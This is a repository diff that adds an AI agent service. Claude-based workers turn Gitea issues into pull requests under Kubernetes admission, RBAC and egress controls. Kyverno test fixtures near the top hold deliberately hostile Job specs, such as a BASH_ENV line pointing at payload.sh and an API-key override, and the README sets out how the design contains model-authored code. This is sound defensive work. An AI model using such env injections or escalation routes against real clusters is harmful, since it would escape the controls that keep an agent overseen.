# ANTHROPIC_API_KEY silently outranks the subscription token and redirects every model call.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
env:
- { name: PM_TASK_MODE, value: implement }
- { name: BASH_ENV, value: /workspace/payload.sh }
- { name: ANTHROPIC_API_KEY, value: sk-not-the-subscription-token }
---
# `envFrom` over a whole Secret: the KEYS never appear in the Job, so the env-name allowlist
# would be unenforceable by inspection.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
envFrom:
- secretRef: { name: pm-agent-credentials }
platform/kyverno/tests/pm-agent/user-info.yaml
+13
View File
@@ -0,0 +1,13 @@
# The requesting identity the policy keys on. WITHOUT THIS the `subjects` match never fires
# and every case in resources.yaml would trivially "pass" — a test proving nothing, which is
# worse than no test because it reads as coverage.
apiVersion: cli.kyverno.io/v1alpha1
kind: UserInfo
metadata:
name: pm-agent-dispatcher
userInfo:
username: system:serviceaccount:pm-agent:pm-agent
groups:
- system:serviceaccounts
- system:serviceaccounts:pm-agent
- system:authenticated
platform/pm-agent/README.md
+183
View File
@@ -0,0 +1,183 @@
# pm-agent — an AI Program Manager that turns Gitea issues into pull requests
A service that runs in the cluster, reads the issues of
`Home-Network/home-network-k3s-impl`, decides what to do about each thread **as the Program
Manager persona this repository already works under**, and runs one worker agent per
assignment that authors the change, runs the merge gate and opens a pull request.
It reacts to issue creation and to comments on issues. Every assignment and every piece of
correspondence travels through the issue thread and the pull request, so the whole record of
what the agent did, and why, is in the same place a human is already looking.
It **never pushes to `main`** and **never merges a pull request**. The merge gate remains the
approver, and a sensitive-path change still needs the human review `ci/approval-policy.sh`
requires.
| | |
|---|---|
| Design, alternatives considered, threat model | [`docs/plans/pm-agent-issue-to-pr.md`](../../docs/plans/pm-agent-issue-to-pr.md) |
| Operator runbook — stopping it, reading its logs, rotating its tokens | [`runbooks/pm-agent.md`](../../runbooks/pm-agent.md) |
| The image, the two entrypoints, the PM persona | [`infra/agent/`](../../infra/agent/) |
| The security boundary | [`platform/kyverno/admission/pm-agent-job-shape.yaml`](../kyverno/admission/pm-agent-job-shape.yaml) |
---
## It does nothing at all until an operator does two things
Both are deliberate, and both fail **visibly** rather than silently:
1. **The image does not exist.** `platform/pm-agent/deployment.yaml` and
`PM_WORKER_IMAGE` in `configmap.yaml` carry an all-zero digest placeholder. Build it with
`infra/agent/build-image.sh` (which verifies it and refuses to push), push it as the
operator, then update **both** places with the digest `podman push --digestfile` returned,
in one pull request. Until then: `ImagePullBackOff`.
2. **The credentials are placeholders.** `pm-agent-credentials.sops.yaml` is encrypted to the
repository's age recipient but holds `REPLACE-ME-…` strings. The hand-off —
which Gitea account to create, which scopes, and why it must *not* be an administrator —
is in [`pm-agent-credentials.sops.yaml.example`](./pm-agent-credentials.sops.yaml.example).
Until then the dispatcher CrashLoops with `GET /user returned no login — is GITEA_TOKEN
valid?`.
Its Flux Kustomization is `wait: false` precisely because of those two states: a workload
that is *expected* to be unhealthy for a while must never be able to gate anything.
---
## How it works
```
┌──────────────────────── pm-agent namespace ─────────────────────────┐
│ │
Gitea issue ───▶│ pm-dispatch (1 replica, Recreate) │
(poll, 60s) │ 1. list open issues │
│ 2. act iff the NEWEST thing in the thread is not mine │
│ 3. ask the model, under the PM persona, with NO tools │
│ → {action, branch, brief, comment} │
│ 4. validate it, then: create the Job, then post the comment │
│ │ │
│ ▼ │
│ pm-worker (one Job per assignment, no SA token, read-only rootfs) │
│ clone → branch → read the live thread → Claude Code session → │
│ ./ci/gate.sh → commit → push → open the PR → comment on the issue│
└─────────────────────────────────────────────────────────────────────┘
egress: gitea:3000 · kube-apiserver (dispatcher only) · tcp/443 · DNS. ingress: none.
```
**There is no database and no PVC.** The trigger is a question asked of the issue thread
itself — *act iff the newest thing in this thread was not written by me* — and since the PM
always answers in the thread, acting makes the thread quiet again until a human (or a worker)
says something else. The Gitea thread **is** the state. It survives restarts with no recovery
path to get wrong, it is readable by the operator in the place they already look, and it
creates no R-STATE-03 obligation for irreplaceable state.
**It polls; it does not receive webhooks.** Gitea's webhook SSRF guard
(`[webhook] ALLOWED_HOST_LIST`) does not by default permit calling a private in-cluster
address, a missed delivery is simply lost, and a receiver would need inbound reach into a
namespace whose entire purpose is running model-authored code. The cost is up to 60s of
latency. The full argument is in the header of
[`infra/agent/pm-dispatch.py`](../../infra/agent/pm-dispatch.py).
**The PM holds no tools.** It runs `claude --print --tools ""` against a JSON schema: text
in, one JSON object out, no Bash, no file access, no network of its own. The dispatcher then
validates every field — the action against a fixed set, the branch against `CLAUDE.md` §4's
pattern, `revise` against the branch that actually carries the issue's work — and builds the
Job from a committed template. **The model's output is data, never a command.**
---
## What the worker can and cannot do
| | |
|---|---|
| **can** | change any file in its own clone; run any command in the container; run the gate; read the issue thread and the pull requests |
| **can** | push **one** branch (the one the PM named, validated twice against `^(feat\|fix\|docs\|chore)/…`) and open/update its pull request |
| **can** | post comments on its own issue |
| **cannot** | push to `main` — refused by `pm-worker` before anything runs, and by branch protection regardless |
| **cannot** | merge anything — the gate is the approver, and the service makes no merge call |
| **cannot** | reach the Kubernetes API: no ServiceAccount token is mounted, the `pm-agent-worker` identity is bound to nothing, and the egress policy does not include the API server. `kubectl` is on its `PATH` (the gate's toolchain needs it) and is inert |
| **cannot** | reach anything except this Gitea and tcp/443 — no package registry, no GitHub |
| **cannot** | clone from or push to any host but this Gitea: `pm-worker` validates `PM_GITEA_URL` against an allowlist baked into the image |
| **cannot** | authenticate a `git push` **during the model session**: `GIT_ASKPASS` is unset for its duration, so the restriction is structural rather than a request in a prompt |
| **cannot** | be created in any shape but the committed one — see the admission policy |
### What is *not* defended, stated plainly
- **The worker's own credentials are inside the model's reach.** The session runs as the same
uid in the same container as the wrapper, so it can read the environment, including its
`GITEA_TOKEN` and `CLAUDE_CODE_OAUTH_TOKEN`. There is no isolation between them and none is
claimed. What bounds it: the Gitea token is scoped `write:repository, write:issue` on **one
repository** with no admin permission, and egress reaches only this Gitea and tcp/443.
- **`world:443` is wider than `api.anthropic.com`.** Cilium can express the tighter rule
(`toFQDNs`) but nothing in this repository uses FQDN policy and its prerequisite (Cilium's
DNS proxy) has not been measured here. Narrowing it is a tracked follow-up with that
measurement as its first step, not a one-line edit.
- **A `write` collaborator in Gitea can merge a pull request.** No token scope separates
"push a branch and open a PR" from "merge it". The service issues no merge call — that is
all of `pm-worker`'s API calls, readable in one file — but it is a property of the code, not
of the credential. What the non-admin permission *does* buy structurally is that the bot
**cannot** post `/approve-override`, so a sensitive-path pull request from the agent
correctly sits unmergeable until a human reviews it.
- **The PM cannot see the repository.** It triages from the thread alone, so its brief is a
belief about where the work lives, not a verified fact — which is why the persona requires
it to say so, and why the worker is told to investigate before changing anything.
- **Nothing here has run.** Everything in this directory is authored and gate-checked
offline. No part of this service has been built, pushed, deployed or observed; see the
handoff entry's "What I did NOT verify".
---
## The escalation this service is built around
Kubernetes places **no `use` check** on a Pod's `serviceAccountName`. So "may create Jobs in
namespace X" is equivalent to "may run arbitrary code as the most privileged identity in
namespace X" — no matter how narrow the creator's own Role looks. The dispatcher creates
Jobs. That is the whole problem, and this repository has met it before
(`conformance/incluster/rbac.yaml`).
Two things answer it, and neither is sufficient alone:
1. **There is nothing to escalate to.** `pm-agent-worker` is bound to no Role at all, and the
Job template mounts no token. The prize is empty.
2. **The shape is constrained at the API server.**
`platform/kyverno/admission/pm-agent-job-shape.yaml` is `Enforce` + `failurePolicy: Fail`
and admits only: the digest-pinned `agent-runner` image, exactly one container, the pinned
`command` with no args, that powerless SA, no mounted token, `restartPolicy: Never`,
non-root with no privilege escalation and a read-only root filesystem, only the
`workspace`/`tmp` **emptyDir** volumes, no init or ephemeral containers, only the
committed env **names**, and no `envFrom`.
Six rules, because pinning `command` only moves the injection to whatever adjacent field
nobody enumerated — on the sibling policy that was `initContainers` (measured: a Job with a
compliant `containers[0]` and a privileged init container was **admitted**, pass 3 fail 0),
then `ephemeralContainers`, then `env`, then `envFrom`. All of them are closed here from the
start, and `platform/kyverno/tests/pm-agent/` proves each refusal offline: **28 assertions,
28 passing** under the pinned `kyverno` CLI.
> The policy is applied by `platform-config/kustomization.yaml`, and it has to be: adding a
> ClusterPolicy only to `platform/kyverno/admission/kustomization.yaml` is a **silent
> no-op**. That is exactly how the conformance boundary shipped green and never reached the
> cluster on 2026-09-29.
---
## Operating it
Every knob is in [`configmap.yaml`](./configmap.yaml), with the reasoning next to it. The
five that matter:
| knob | default | what it is for |
|---|---|---|
| `PM_REQUIRE_LABEL` | `""` (every open issue) | set it to `agent` and only issues a human has labelled are in scope. **Recommended for the first weeks** — it bounds the agent to work somebody deliberately handed it, with no code change |
| `PM_DRY_RUN` | `false` | still triages and still posts what it would have done; creates no worker. The honest way to watch it for a day |
| `PM_MAX_ACTIVE_WORKERS` | `2` | concurrent workers. RAM is the binding constraint (2Gi limit each) and the subscription seat's rate limits are shared with every other use of that seat |
| `PM_MAX_NEW_WORKERS_PER_CYCLE` | `1` | drains a backlog one issue at a time instead of in one stampede the first minute the credentials work |
| `PM_PUSH_ON_RED_GATE` | `false` | a change the gate refused is not pushed; the issue gets the gate log instead |
Changing a knob requires bumping the `config-generation` annotation in `deployment.yaml` in
the same commit — the process reads its configuration once, at startup, so without the bump
the ConfigMap changes and nothing does. (Same class of defect as the inert merged
`cilium-config`: `decisions/2026-10-05-cilium-roll-out-on-config-change.md`.)
**To stop it**, in increasing severity: `PM_DRY_RUN`, scale to zero, suspend the
Kustomization, or revoke the Gitea token. Step-by-step in
[`runbooks/pm-agent.md`](../../runbooks/pm-agent.md).
platform/pm-agent/configmap.yaml
+117
View File
@@ -0,0 +1,117 @@
---
# =============================================================================
# The dispatcher's configuration. Everything here is NON-SECRET and reviewable in a diff;
# the two credentials live in pm-agent-credentials.sops.yaml and are referenced by name only
# (R-IDP-04).
#
# WHAT IS *NOT* HERE, on purpose:
# * the PM persona — baked into the image at /etc/pm-agent/pm-persona.md. It is the
# agent's standing instruction set, and a ConfigMap is `kubectl edit`-able by anyone with
# namespace write. Changing how the PM behaves should be a reviewed commit and an image
# rebuild, not a live edit. (PM_PERSONA_FILE below can point elsewhere, which is the
# escape hatch for someone deliberately experimenting.)
# * the worker Job template — likewise baked in, and for a stronger reason: the template IS
# the shape the admission policy and the dispatcher's RBAC jointly bound. See the header
# of infra/agent/worker-job-template.yaml.
#
# NO SHELL-STYLE EXPANSIONS BELOW — AND THAT RULE APPLIES TO THESE COMMENTS TOO.
# This namespace's Flux Kustomization substitutes from cluster-vars, and envsubst runs over
# the WHOLE rendered manifest, comment lines included. So an unescaped dollar-brace token
# anywhere in this file — even in prose explaining the rule — is either replaced with the
# empty string or, if it is not a valid name, fails the ENTIRE Kustomization. This paragraph
# used to contain two such tokens as examples and the gate refused the change for it
# (ci/l0.sh, flux-postbuild-substitution: 1 UNDEFINED + 1 FATAL-PARSE), which is the check
# working exactly as intended. Every value below is a literal, including the Gitea URL — see
# the comment on it. The escaping contract itself: catalog/README.md.
# =============================================================================
apiVersion: v1
kind: ConfigMap
metadata:
name: pm-agent-config
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent
app.kubernetes.io/part-of: pm-agent
data:
# --- where the work comes from ---------------------------------------------
# THE IN-CLUSTER SERVICE ADDRESS, NOT THE PUBLIC HOSTNAME, and for the same reason prod's
# own Flux source uses it (clusters/prod/kustomization.yaml): this path depends on neither
# public DNS, nor Cloudflare, nor the shared Gateway, nor the BASE_DOMAIN knob. A change of
# domain, a certificate problem or a Gateway outage cannot sever the agent from the
# repository it works on. It is also why the egress policy can be a pod-identity rule rather than a
# `world` allow, and why pm-worker's baked-in host allowlist can be two entries long.
PM_GITEA_URL: "http://gitea.gitea.svc.cluster.local:3000"
PM_GITEA_OWNER: "Home-Network"
PM_GITEA_REPO: "home-network-k3s-impl"
PM_BASE_BRANCH: "main"
PM_NAMESPACE: "pm-agent"
# --- what runs the work ----------------------------------------------------
# THE WORKER IMAGE, DIGEST-PINNED. This must be the SAME digest the Deployment runs, since
# the dispatcher and its workers share the committed Job template and the env-name
# contract. A tag here is refused at startup (and would be DENIED by admission anyway).
#
# PLACEHOLDER UNTIL THE IMAGE IS PUBLISHED. The all-zero digest below is deliberately
# impossible: `infra/agent/build-image.sh` builds and verifies the image, the OPERATOR
# pushes it, and the authoritative digest from `--digestfile` replaces this value in a
# reviewed pull request (the same two-step the conformance-runner image follows, and for
# the same reason: a registry credential is not an agent's to hold). Until then the
# dispatcher starts, fails to pull, and says so — which is the visible failure, not a
# silent one.
PM_WORKER_IMAGE: "gitea.home.keithjackson.dev/home-network/agent-runner@sha256:0000000000000000000000000000000000000000000000000000000000000000"
# --- the model -------------------------------------------------------------
# The PM only reads a thread and answers with one JSON object, so it holds no tools and
# takes one turn. The worker does real repository work against a gate. Both run on the
# most capable general model on purpose: the failure mode that matters here is a plausible
# change that is subtly wrong, which is exactly what a cheaper tier buys more of.
PM_MODEL: "claude-opus-5"
PM_WORKER_MODEL: "claude-opus-5"
# --- pace and blast radius -------------------------------------------------
# These five numbers are the throttle. They exist because the first minute after the
# credentials are filled in is the dangerous one: every open issue is new to the agent at
# once.
#
# PM_POLL_INTERVAL_SECONDS how long an issue may wait before the PM looks at it.
# PM_MAX_ACTIVE_WORKERS concurrent worker Jobs. RAM is the binding constraint on this
# 3-node cluster and each worker's limit is 2Gi, so 2 is 4Gi
# worst case. It is also a subscription-rate-limit throttle:
# several Claude Code sessions on one subscription seat contend
# for the same account limits.
# PM_MAX_NEW_WORKERS_PER_CYCLE at most one NEW assignment per poll, so a backlog is
# drained one issue at a time rather than in one stampede.
# PM_ISSUE_COOLDOWN_SECONDS how often one issue may cost a decision. The dispatcher stamps
# this BEFORE it asks the model, so a decision that then fails
# cannot be retried on every poll.
# PM_WORKER_MAX_BUDGET_USD per-assignment spend ceiling the CLI enforces itself. It is
# Claude Code's own client-side estimate rather than a bill, so
# treat it as a runaway-loop stop, not as accounting.
PM_POLL_INTERVAL_SECONDS: "60"
PM_MAX_ACTIVE_WORKERS: "2"
PM_MAX_NEW_WORKERS_PER_CYCLE: "1"
PM_ISSUE_COOLDOWN_SECONDS: "900"
PM_WORKER_MAX_TURNS: "80"
PM_WORKER_MAX_BUDGET_USD: "10"
# --- scope -----------------------------------------------------------------
# EMPTY MEANS EVERY OPEN ISSUE, which is the behaviour this service was asked for: it
# reacts to issue creation and to comments, on all of them.
#
# RECOMMENDED FOR THE FIRST WEEKS, and a one-word change: set this to `agent`, and the
# dispatcher considers only issues a human has labelled `agent`. That bounds the agent to
# work somebody deliberately handed it while trust is being established, with no code
# change and no redeploy of anything but this ConfigMap. The operator's call; the default
# here honours the request as made.
PM_REQUIRE_LABEL: ""
# Dry run: the PM still reads threads, still asks the model and still posts its decision as
# an issue comment — so the operator can read exactly what it WOULD have done — but creates
# no worker Job and so changes no code. The honest way to watch this service for a day
# before letting it write anything.
PM_DRY_RUN: "false"
# If the gate refuses a worker's change, the branch is NOT pushed by default and the issue
# gets the gate log instead. Set to "true" to push anyway and open a red pull request —
# useful when a human wants to see the work, noisy as a standing setting.
PM_PUSH_ON_RED_GATE: "false"
platform/pm-agent/deployment.yaml
+132
View File
@@ -0,0 +1,132 @@
---
# =============================================================================
# The Program Manager dispatcher. One long-running process that polls Gitea issues, asks the
# model what to do about each thread under the PM persona, posts the answer on the issue, and
# creates one worker Job per assignment. Program: infra/agent/pm-dispatch.py.
#
# ONE REPLICA, Recreate STRATEGY — AND THAT IS A CORRECTNESS CONSTRAINT, NOT A RESOURCE ONE.
# Two dispatchers polling the same repository would both see the same untouched thread in the
# same window and both act on it: two decisions, two comments, two worker Jobs on the same
# issue, two branches. The service holds no lock and needs none at one replica — the issue
# thread itself is the state (see pm-dispatch.py's header) and a single reader of it is
# consistent by construction. `Recreate` is what extends that to a rollout: the default
# RollingUpdate would briefly run the new pod alongside the old one, which is the two-reader
# case again, for a minute, every time the image changes.
#
# NO PVC, NO VOLUME CLAIM, NOTHING TO BACK UP. The dispatcher keeps no durable state: its
# trigger is "the newest thing in this thread was not written by me", answered from Gitea on
# every cycle. So a restart loses nothing, there is no recovery path to get wrong, and this
# workload creates no R-STATE-03 obligation.
# =============================================================================
apiVersion: apps/v1
kind: Deployment
metadata:
name: pm-agent
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent
app.kubernetes.io/part-of: pm-agent
spec:
replicas: 1
strategy:
type: Recreate
selector:
matchLabels:
app.kubernetes.io/name: pm-agent
template:
metadata:
labels:
app.kubernetes.io/name: pm-agent
app.kubernetes.io/part-of: pm-agent
annotations:
# Roll the pod when its configuration changes. Without this, a ConfigMap edit that
# Flux applies leaves the running process on the OLD values indefinitely — the
# process reads its config once at startup — so the change would appear to have
# landed while changing nothing. (Same class of defect as the inert merged
# cilium-config: decisions/2026-10-05-cilium-roll-out-on-config-change.md.)
#
# It is a hand-maintained marker rather than a computed hash because Flux's
# Kustomization here does not run a configmap generator; bump it in the same commit
# as a change to configmap.yaml.
pm-agent.homelab.keithjackson.dev/config-generation: "1"
spec:
serviceAccountName: pm-agent
# The dispatcher DOES need its token: `kubectl create job` is its one privileged act,
# and platform/pm-agent/rbac.yaml is what bounds it to that. Contrast the worker, whose
# Job template sets this false because it needs no API access at all.
automountServiceAccountToken: true
securityContext:
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile:
type: RuntimeDefault
containers:
- name: dispatch
# THE SAME IMAGE THE WORKERS RUN, at the same digest. They share the committed Job
# template and the env-name contract baked into it, so a mismatched pair would
# disagree about the shape the admission policy enforces. Replaced together, in one
# pull request, with the digest `infra/agent/build-image.sh` printed — the all-zero
# placeholder below is impossible on purpose (see configmap.yaml PM_WORKER_IMAGE).
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:0000000000000000000000000000000000000000000000000000000000000000
imagePullPolicy: IfNotPresent
command:
- /usr/local/bin/pm-dispatch
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
privileged: false
capabilities:
drop:
- ALL
envFrom:
# Every non-secret knob, so adding one is a ConfigMap edit plus a bump of the
# config-generation annotation above — not an edit in two places.
- configMapRef:
name: pm-agent-config
env:
# The two credentials, by NAME only (R-IDP-04). Never a literal, never `envFrom`
# over the whole Secret: the dispatcher needs exactly these two keys, and naming
# them is what makes the Secret's other contents (if it ever grows any) not
# reach this process.
- name: GITEA_TOKEN
valueFrom:
secretKeyRef:
name: pm-agent-credentials
key: gitea-token
- name: CLAUDE_CODE_OAUTH_TOKEN
valueFrom:
secretKeyRef:
name: pm-agent-credentials
key: claude-code-oauth-token
resources:
# Modest: the dispatcher is idle between polls, and its one expensive act (a
# single-turn model call with no tools) is bounded by PM_ISSUE_COOLDOWN_SECONDS.
# The real resource consumers are the worker Jobs, capped separately.
requests:
cpu: 50m
memory: 192Mi
limits:
cpu: 500m
memory: 512Mi
# No probes, deliberately. There is no port to probe and no health endpoint, and an
# exec probe would be a second execution path into a pod that runs model-authored
# decisions. The process is a loop that logs every cycle: liveness is answered by
# `kubectl logs`, and a crash is answered by the Deployment's own restart. A probe
# that cannot distinguish "polling normally" from "wedged" would only add a way to
# restart a healthy pod.
volumeMounts:
# The root filesystem is read-only, so HOME, TMPDIR, the Claude Code config
# directory and every cache live here (see the image's ENV block).
- name: workspace
mountPath: /workspace
- name: tmp
mountPath: /tmp
volumes:
- name: workspace
emptyDir:
sizeLimit: 512Mi
- name: tmp
emptyDir:
sizeLimit: 128Mi
platform/pm-agent/kustomization.yaml
+41
View File
@@ -0,0 +1,41 @@
---
# pm-agent — the Program Manager agent service. Reconciled by its OWN post-platform Flux
# Kustomization (clusters/base/pm-agent.yaml, dependsOn apps-wave-0, wait:false), NOT by the
# gating `platform` tier.
#
# WHY ITS OWN NON-GATING TIER, like crafty/headlamp/homepage: this is a leaf whose pod can be
# legitimately unhealthy for a long time — it CrashLoops by design while its credentials are
# still placeholders, and it depends on Gitea being up (apps-wave-0) to authenticate at
# startup. A workload like that inside the gating `platform` tier would keep `platform`
# not-Ready, and while `platform` is not-Ready NOTHING downstream reconciles. That is the
# headlamp gating stall, and it is not worth re-learning.
#
# dependsOn apps-wave-0 rather than platform-config: what this service actually needs is
# GITEA, not the Keycloak realm, the wildcard certificate or the Gateway — it serves no
# traffic and has no UI.
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- namespace.yaml
# The dispatcher identity (may create worker Jobs here) and the worker identity (bound to
# nothing). Read alongside platform/kyverno/admission/pm-agent-job-shape.yaml: that policy
# is the boundary, this file is only its necessary half.
- rbac.yaml
- configmap.yaml
# The Gitea token and the Anthropic subscription token — SOPS-encrypted, decrypted
# per-environment by the pm-agent Kustomization (clusters/prod and clusters/dev patch it by
# name, identically to crafty/headlamp/oauth2-proxy). Referenced by name only (R-IDP-04).
#
# THE COMMITTED VALUES ARE PLACEHOLDERS. The service is inert until the operator replaces
# them; the hand-off steps are in the sibling `.example` template and in README.md.
#
# That template is named in prose rather than by filename ON PURPOSE: the L0 check
# no-plaintext-secrets treats a mention of an unencrypted `.example` in a kustomization as
# a REFERENCE and refuses it as a plaintext Secret that would be applied. It is right to —
# the distance between naming a file in a comment and listing it under `resources:` is one
# careless edit.
- pm-agent-credentials.sops.yaml
- deployment.yaml
# default-deny baseline + the two egress allow policies (gitea, kube-apiserver for the
# dispatcher only, tcp/443 for the model). NO ingress allow exists, by design.
- networkpolicy.yaml
platform/pm-agent/namespace.yaml
+34
View File
@@ -0,0 +1,34 @@
---
# pm-agent — the Program Manager agent service: it reads Gitea issues, decides what to do
# about each thread, and runs one worker agent per assignment that authors a change, gates
# it and opens a pull request. Full design: platform/pm-agent/README.md and
# docs/plans/pm-agent-issue-to-pr.md.
#
# NO UI, NO INGRESS. There is deliberately no `gateway-access: shared` label and no
# HTTPRoute: nothing connects INTO this namespace. The dispatcher polls Gitea rather than
# receiving webhooks, precisely so that a namespace whose whole purpose is running
# model-authored code needs no inbound path at all (the reasoning is in the header of
# infra/agent/pm-dispatch.py). The operator's interface is the Gitea issue thread and
# `kubectl logs`.
#
# INTENTIONALLY NOT homelab.keithjackson.dev/app-namespace=true. This is PLATFORM plumbing —
# CI/delivery machinery, like `gitea-actions` and `conformance`, not a user-facing app. Every
# Kyverno app policy matches on that label (the generated default-deny baseline, the
# egress-class and auth-mode label requirements), so carrying it would demand an auth mode
# and an egress class for a workload that serves no traffic. The baseline those policies
# would have generated is therefore shipped EXPLICITLY here instead — see networkpolicy.yaml.
#
# PodSecurity `restricted` IS enforced, unlike in `gitea-actions` (which needs a privileged
# DinD sidecar and so cannot). Nothing here needs any privilege: both the dispatcher and
# every worker run as uid 65532 with no capabilities, no privilege escalation and a
# read-only root filesystem. Declaring it means the kubelet refuses a pod that drifts from
# that, in addition to the admission policy that constrains the worker Job's shape.
apiVersion: v1
kind: Namespace
metadata:
name: pm-agent
labels:
app.kubernetes.io/part-of: pm-agent
homelab.keithjackson.dev/ci: pm-agent
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: latest
platform/pm-agent/networkpolicy.yaml
+138
View File
@@ -0,0 +1,138 @@
---
# Default-deny baseline (R-NET-01): deny all ingress and all egress, allow only DNS.
#
# `pm-agent` is a PLATFORM namespace, so Kyverno does NOT auto-generate this (its policies
# match homelab.keithjackson.dev/app-namespace=true — see namespace.yaml for why this
# namespace deliberately lacks that label). It is shipped explicitly here, the same shape as
# the Kyverno-generated app baseline and as headlamp/homepage/crafty.
#
# Cilium enforces the UNION of this NetworkPolicy and the CiliumNetworkPolicies below (allow
# if ANY policy allows), so those add the three egress paths on top of deny-all. Nothing adds
# an ingress path: see the comment at the ingress policy that is not here.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
namespace: pm-agent
labels:
homelab.keithjackson.dev/baseline: default-deny
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
ingress: []
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
---
# EGRESS for the DISPATCHER. Three destinations, and the list is the whole answer to "what
# can this thing reach".
#
# 1. the in-cluster Gitea (:3000) — read issues and comments, post comments. By pod
# identity, not by hostname: the dispatcher dials the ClusterIP directly, which is also
# why the matching INGRESS allow has to exist on Gitea's side (catalog/gitea.yaml
# inClusterClients) — under Gitea's own namespace default-deny the connection would
# otherwise be dropped there, exactly as it was for Flux's source-controller in the
# 2026-09-13 incident recorded in that file.
# 2. the kube-apiserver — `kubectl create job` / `kubectl get jobs`. The `kube-apiserver`
# entity is the right selector here: on k3s the API server listens on the node's host
# network, so `toEndpoints` cannot express it and `host` would be far wider.
# 3. tcp/443 to the world — the Anthropic API.
#
# ON (3), HONESTLY: `toEntities: world` on 443 permits reaching ANY external host on 443,
# not just api.anthropic.com. Cilium can express the tighter rule (`toFQDNs`), but nothing in
# this repository uses FQDN policy today and it depends on Cilium's DNS proxy being enabled,
# which has not been measured here — putting an unverified mechanism in a security-relevant
# position is worse than a documented wide rule. So the narrowing of this rule is a tracked
# follow-up with a prerequisite: verify the DNS proxy, then replace the `world` entry with
# `toFQDNs: [{matchName: api.anthropic.com}]` and re-measure that the model still answers.
# Until then, what bounds the egress of model-authored code is the PAIR of this rule and
# pm-worker's own baked-in allowlist of git hosts, which refuses to clone from or push to
# anywhere but the two addresses of this Gitea.
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: pm-agent-allow-egress
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent
spec:
endpointSelector:
matchLabels:
app.kubernetes.io/name: pm-agent
egress:
- toEndpoints:
- matchLabels:
io.kubernetes.pod.namespace: gitea
app.kubernetes.io/name: gitea
toPorts:
- ports:
- { port: "3000", protocol: TCP }
- toEntities:
- kube-apiserver
- toEntities:
- world
toPorts:
- ports:
- { port: "443", protocol: TCP }
---
# EGRESS for a WORKER. The same two outward paths as the dispatcher — git over :3000 and
# tcp/443 for the model — and pointedly NOT the kube-apiserver.
#
# A worker holds no ServiceAccount token (rbac.yaml, and the Job template sets
# automountServiceAccountToken: false), so an API call would fail on authentication anyway.
# Denying the network path as well is the second of the two: the worker runs model-authored
# code, and "it could reach the API server but had no credential" is a worse place to stand
# than "it could not reach the API server". `kubectl` is on its PATH — it is in the pinned
# toolbox the gate needs — and this is what makes it inert.
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: pm-agent-worker-allow-egress
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent-worker
spec:
endpointSelector:
matchLabels:
app.kubernetes.io/name: pm-agent-worker
egress:
- toEndpoints:
- matchLabels:
io.kubernetes.pod.namespace: gitea
app.kubernetes.io/name: gitea
toPorts:
- ports:
- { port: "3000", protocol: TCP }
- toEntities:
- world
toPorts:
- ports:
- { port: "443", protocol: TCP }
# THERE IS NO INGRESS POLICY, AND THAT IS THE DESIGN.
#
# The default-deny baseline above denies all ingress and nothing adds an allow back. No
# Service, no HTTPRoute, no webhook receiver, no metrics port: nothing outside this namespace
# can open a connection to anything inside it. The one component that might have wanted
# inbound reach — a Gitea webhook receiver — was deliberately not built; the dispatcher polls
# instead (infra/agent/pm-dispatch.py explains why at length).
#
# Keeping this as a comment rather than an empty policy is intentional: a reader asking "how
# is this thing reached?" should find the answer where they look for it, and the answer is
# "it isn't". If a future change adds a listener, it adds its allow HERE, scoped to one
# client namespace and one port, and says why in this comment block.
#
# One consequence worth naming for whoever wires observability later: there is no
# ServiceMonitor and no metrics endpoint, so a scrape from the `monitoring` namespace would
# be dropped by this baseline — adding metrics means adding the port AND the additive
# ingress allow for it, which is the same lesson as the oauth2-proxy sidecar scrape
# (decisions/2026-10-04-oauth2-sidecar-metrics-scrape-netpol.md).
platform/pm-agent/pm-agent-credentials.sops.yaml
+35
View File
@@ -0,0 +1,35 @@
# PLACEHOLDER VALUES — the PM agent service is INERT until the operator replaces them.
# Full hand-off steps: pm-agent-credentials.sops.yaml.example (same directory).
# SOPS-encrypted to the repository's age recipient; keys stay cleartext for reviewable diffs.
apiVersion: v1
kind: Secret
metadata:
name: pm-agent-credentials
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent
app.kubernetes.io/part-of: pm-agent
type: Opaque
stringData:
gitea-token: ENC[AES256_GCM,data:Vs6TkiNocU+qzvlv8mndXhtiqp1RyY00KhIBDuL8w0WoX72B8DxfPK8eWISy9gtx9TBlYpu2FHP7,iv:2z8+gzWuZDFACb06rnYg071h4wO7YlcTFNZDQzDxRNs=,tag:cUhj+uQUwu44HpPtFTVjVA==,type:str]
